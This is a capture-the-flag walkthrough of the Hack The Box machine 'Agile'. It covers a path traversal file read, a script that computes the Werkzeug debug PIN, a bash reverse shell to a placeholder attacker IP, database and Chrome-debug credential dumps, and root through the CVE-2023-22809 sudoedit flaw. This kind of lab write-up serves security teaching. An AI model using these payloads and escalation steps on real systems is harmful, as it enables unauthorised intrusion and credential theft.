Agile

Agile is medium difficulty box hosting a password manager solution. There’s a file disclosure vulnerability
in the application, and the Flask server is running in debug mode
. I’ll use those to get execution on the box as www-data user. From there, I’ll dump a user’s password out of the database and get an SSH shell as corum user. There’s a testing version of the app running as well, and I’ll abuse Chrome debug to get credentials from the testing Chrome instance to pivot to the user edwards. This user can use sudoedit to modify files related to the test server. I’ll abuse CVE-2023-22809
to write into the virtual environment that root is sourcing to get root.
Reconaissance
nmap
as usual we will start by scanning the open ports and running services
┌──(root㉿kali)-[/home/kali/hackthebox/medium/agile]
└─# nmap -sC -sV -oA nmap/agile 10.10.11.203
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-10 06:38 EDT
Nmap scan report for 10.10.11.203
Host is up (0.053s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f4bcee21d71f1aa26572212d5ba6f700 (ECDSA)
|_ 256 65c1480d88cbb975a02ca5e6377e5106 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.62 seconds
add superpass.htb
to /etc/hosts file

now let's open this website in the browser

register a vault and then add a couple of passwords and save them using the save icon
now open burp suite and set intercept on and we will intercept the export functionality which basically let us download the passwords we entered as .csv file


now right click on the request -> Do Intercept -> Response to this request

then click on forward

so it's redirecting us to /download?fn=<our csv file that contains the passwords>
click on forward

send this request to repeater

if we see the response in the browser

File Disclosure / Path Traversal
so we know that it's stocking csvs in the /tmp directory so we can abuse this and trigger File Disclosure Vulnerability

Foothold as User www-data
if we provide invalid file name, the page crashes revealing that the server is running Flask in debug mode:

The debug page for Flask is made for developers to find a crash and figure out what happened. It gives not only the stack trace, but also the ability to get a Python console and run additional commands at the point of the crash. If I move my mouse over one of the outputs, the little terminal logo appears:

Clicking on the terminal pops a message asking for the PIN:

This pin is printed to the terminal when the Flask site is run. If I have the pin, I can get execution on the system. To calculate the pin, I’ll need to collect a handful of strings from the system, using the file read vulnerability.
HackTricks has a writeup on generating the pin (we knew that the flask debugger is Werkzeug because of the debug mode), showing how it is generated in the Flask (specifically in the werkzeug
module) source, and providing a script. I’ll grab a copy of that script, and I’ll need to update several things
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'279275995014060',# str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
]
#h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
Public Bits
The first part of the script that requires updating is the list named probably_public_bits
.
probably_public_bits = [
'web3_user',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
To get the username, I’ll check /proc/self/environ
using the file read vuln:
so the username is www-data

the second item will remain the same but the third item is going to be wsgi_app

forth requires the full path which is leaked in the debugger

My Public Bits looks like:
probably_public_bits = [
'www-data',# username
'flask.app',# modname
'wsgi_app',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/app/venv/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
Private Bits
The next section is the list private_bits
:
private_bits = [
'279275995014060',# str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
]
the first one :

I’ll need to get the MAC address. I can find that at /sys/class/net/[device]/address
. To get the device name, I’ll pull /proc/net/arp

The device is eth0
, which I’ll use to get the MAC:

the mac address is 00:50:56:b9:00:9e
The script needs this as an int, which I can use Python to convert:

The next item is a combination of a couple files.

First, I need /etc/machine-id
:

I’ll also need the first line of /proc/self/cgroup
, from the last “/” to the end:

Putting that all together updates the script to:
private_bits = [
'345052348574',# str(uuid.getnode()), /sys/class/net/ens33/address
'ed5b159560f54721827644bc9b220d00superpass.service'# get_machine_id(), /etc/machine-id
]
The Final Script :
import hashlib
from itertools import chain
probably_public_bits = [
'www-data',# username
'flask.app',# modname
'wsgi_app',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/app/venv/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'345052348574',# str(uuid.getnode()), /sys/class/net/ens33/address
'ed5b159560f54721827644bc9b220d00superpass.service'# get_machine_id(), /etc/machine-id
]
#h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
now let's run this script

for you the pin generated would be different in case the mac address of the target machine is diffrent than the machine i am attacking, now let's go to the debugger and click on the console icon and submit the pin
if the pin is correct you will get a console where you can execute commands

provide you attacking box ip address and the port you will be listening at
import os; os.system("/bin/bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/<PORT> 0>&1'")
let's start a listener


and we have a shell

Upgrade the shell :

also run this command so when you run long commands the shell doesn't mess

Lateral Movement Getting Shell as User Corum
we found the mysql credentials

mysql -u superpassuser -p'dSA6l7q*yIVs$39Ml6ywvgK' -D superpass


+----------+----------------------+
| username | password |
+----------+----------------------+
| 0xdf | 762b430d32eea2f12970 |
| 0xdf | 5b133f7a6a1c180646cb |
| corum | 47ed1e73c955de230a1d |
| corum | 9799588839ed0f98c211 |
| corum | 5db7caa1d13cc37c9fc2 |
| ugur | 1006KKkk |
+----------+----------------------+

after trying those credentials to ssh into the machine i found the one working is
corum : 5db7caa1d13cc37c9fc2

you will find the user flag at /home/corum
Lateral Movement Shell as User Edwards

I notice there’s a –remote-debugging-port that looks suspicious to me.

So we upload chisel on the machine to be able to look at it on our machine:



Now, because it’s a chrome headless browser, we need to open chrome chrome://inspect/?#devices
and configure the Discover network targets
to be able to get the website on the forwarded port (here 41829):

click on configure add the following line and click on “Done”:

Once we have successfully configured it, it will look like something as shown below

I did notice that we managed to obtain a subdomain of http://test.superpass.htb and we also can virtually inspect it by clicking the inspect link


click on home if you get internal server error just return and you will get edward credentials


edwards : d07867c6267dcb5df0af
dedwards__ : 7dbfe676b6b564ce5718
ssh edwards@10.10.11.203
password: d07867c6267dcb5df0af

Privilege Escalation -> root
let's run sudo -l to see what privileges this user have and what commands he can run with sudo

As edwards
we are allowed to run the sudoedit command on two files as the user dev_admin

This version is vulnerable to CVE-2023-22809. This vulnerability allows a user to provide extra arguments in user-proivded environment variables, allowing the attacker to access additional files to process beyond the one’s allowed by the config. Applied here allows edwards to write any file as dev_admin, not just these two.
When looking at what the user dev_admin
has access to, we find the following:

So we can see that there is a binary on the virtual environment called activate
. Looking at all processes with PsPy, we can see that it is executed by the root:

and dev_admin has read write permissions on this file

when we run sudo -l we know that edward can edit only 2 files using sudoedit with the privileges of the user dev_admin
I’ll abuse CVE-2023-22809 to write this file as dev_admin:

start a listener

let's add a reverse shell to this file that's executed with root privileges, don't forget to change the attacker ip address to yours

and the file is overwritten successfully

and we have a shell

you can find the flag at /root/root.txt

hope you found this walkthrough easy to understand and follow
Greeting From Sayonara
Last updated
Was this helpful?